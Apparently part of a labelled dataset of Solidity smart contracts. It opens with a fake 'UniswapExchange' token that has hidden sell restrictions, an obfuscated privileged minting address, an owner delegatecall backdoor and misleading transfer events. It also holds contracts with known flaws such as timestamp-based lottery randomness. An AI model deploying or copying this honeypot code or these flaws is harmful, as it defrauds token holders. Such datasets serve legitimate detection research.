callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 119 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract Pausable is Ownable {
bool public paused;
event Paused(address account);
event Unpaused(address account);
constructor() internal {
paused = false;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused(msg.sender);
}
}
contract BaseToken is Pausable {
using SafeMath for uint256;
string constant public name = '华夏以太坊基金';
string constant public symbol = 'HXETH';
uint8 constant public decimals = 0;
uint256 public totalSupply = 0;
uint256 constant public _totalLimit = 100000000000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address from, address to, uint value) internal {
require(to != address(0));
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
totalSupply = totalSupply.add(value);
require(_totalLimit >= totalSupply);
balanceOf[account] = balanceOf[account].add(value);
emit Transfer(address(0), account, value);
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
}
contract BurnToken is BaseToken {
event Burn(address indexed from, uint256 value);
function burn(uint256 value) public whenNotPaused returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(msg.sender, value);
return true;
}
function burnFrom(address from, uint256 value) public whenNotPaused returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(from, value);
return true;
}
}
contract InvestToken is BaseToken {
uint256 constant public investMax = 0;
uint256 public investTotal = 0;
uint256 public investEther = 0;
uint256 public investMin = 0;
uint256 public investRatio = 0;
uint256 public investBegintime = 1554726130;
uint256 public investEndtime = 1554726130;
address public investHolder = 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925;
event Invest(address indexed from, uint256 indexed ratio, uint256 value, uint256 tokenValue);
event Withdraw(address indexed from, address indexed holder, uint256 value);
event InvestSetting(uint256 investMin, uint256 investRatio, uint256 investBegintime, uint256 investEndtime, address investHolder);
function invest() public payable {
require(block.timestamp >= investBegintime && block.timestamp <= investEndtime);
require(msg.value >= investMin);
uint256 tokenValue = (msg.value * investRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei);
require(tokenValue > 0);
investTotal = investTotal.add(tokenValue);
if (investMax > 0 && investTotal > investMax) {
revert();
}
investEther = investEther.add(msg.value);
_mint(msg.sender, tokenValue);
emit Invest(msg.sender, investRatio, msg.value, tokenValue);
}
function withdraw() public {
uint256 balance = address(this).balance;
investHolder.transfer(balance);
emit Withdraw(msg.sender, investHolder, balance);
}
function changeInvestSetting(uint256 newInvestMin, uint256 newInvestRatio, uint256 newInvestBegintime, uint256 newInvestEndtime, address newInvestHolder) public onlyOwner {
require(newInvestRatio <= 999999999);
investMin = newInvestMin;
investRatio = newInvestRatio;
investBegintime = newInvestBegintime;
investEndtime = newInvestEndtime;
investHolder = newInvestHolder;
emit InvestSetting(newInvestMin, newInvestRatio, newInvestBegintime, newInvestEndtime, newInvestHolder);
}
}
contract CustomToken is BaseToken, BurnToken, InvestToken {
constructor() public {
owner = 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925;
}
function() public payable {
invest();
}
} | 1 | 4,752 |
pragma solidity ^0.4.15;
contract EtherLotto {
uint constant TICKET_AMOUNT = 10;
uint constant FEE_AMOUNT = 1;
address public bank;
uint public pot;
function EtherLotto() {
bank = msg.sender;
}
function play() payable {
assert(msg.value == TICKET_AMOUNT);
pot += msg.value;
var random = uint(sha3(block.timestamp)) % 2;
if (random == 0) {
bank.transfer(FEE_AMOUNT);
msg.sender.transfer(pot - FEE_AMOUNT);
pot = 0;
}
}
} | 1 | 5,316 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address owner) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TorusCoin is StandardToken {
using SafeMath for uint256;
string public name = "Torus";
string public symbol = "TORUS";
uint256 public decimals = 18;
uint256 public startDatetime;
uint256 public endDatetime;
address public founder;
address public admin;
uint256 public coinAllocation = 700 * 10**8 * 10**decimals;
uint256 public founderAllocation = 300 * 10**8 * 10**decimals;
bool public founderAllocated = false;
uint256 public saleTokenSupply = 0;
uint256 public salesVolume = 0;
bool public halted = false;
event Buy(address sender, address recipient, uint256 eth, uint256 tokens);
event AllocateFounderTokens(address sender, address founder, uint256 tokens);
event AllocateInflatedTokens(address sender, address holder, uint256 tokens);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier duringCrowdSale {
require(block.timestamp >= startDatetime && block.timestamp < endDatetime);
_;
}
function TorusCoin(uint256 startDatetimeInSeconds, address founderWallet) public {
admin = msg.sender;
founder = founderWallet;
startDatetime = startDatetimeInSeconds;
endDatetime = startDatetime + 16 * 1 days;
}
function() public payable {
buy(msg.sender);
}
function buy(address recipient) payable public duringCrowdSale {
require(!halted);
require(msg.value >= 0.01 ether);
uint256 tokens = msg.value.mul(35e4);
require(tokens > 0);
require(saleTokenSupply.add(tokens)<=coinAllocation );
balances[recipient] = balances[recipient].add(tokens);
totalSupply_ = totalSupply_.add(tokens);
saleTokenSupply = saleTokenSupply.add(tokens);
salesVolume = salesVolume.add(msg.value);
if (!founder.call.value(msg.value)()) revert();
Buy(msg.sender, recipient, msg.value, tokens);
}
function allocateFounderTokens() public onlyAdmin {
require( block.timestamp > endDatetime );
require(!founderAllocated);
balances[founder] = balances[founder].add(founderAllocation);
totalSupply_ = totalSupply_.add(founderAllocation);
founderAllocated = true;
AllocateFounderTokens(msg.sender, founder, founderAllocation);
}
function halt() public onlyAdmin {
halted = true;
}
function unhalt() public onlyAdmin {
halted = false;
}
function changeAdmin(address newAdmin) public onlyAdmin {
admin = newAdmin;
}
function changeFounder(address newFounder) public onlyAdmin {
founder = newFounder;
}
function inflate(address holder, uint256 tokens) public onlyAdmin {
require( block.timestamp > endDatetime );
require(saleTokenSupply.add(tokens) <= coinAllocation );
balances[holder] = balances[holder].add(tokens);
saleTokenSupply = saleTokenSupply.add(tokens);
totalSupply_ = totalSupply_.add(tokens);
AllocateInflatedTokens(msg.sender, holder, tokens);
}
function withdrawForeignTokens(address tokenContract) onlyAdmin public returns (bool) {
ForeignToken token = ForeignToken(tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(admin, amount);
}
} | 1 | 5,272 |
pragma solidity ^0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
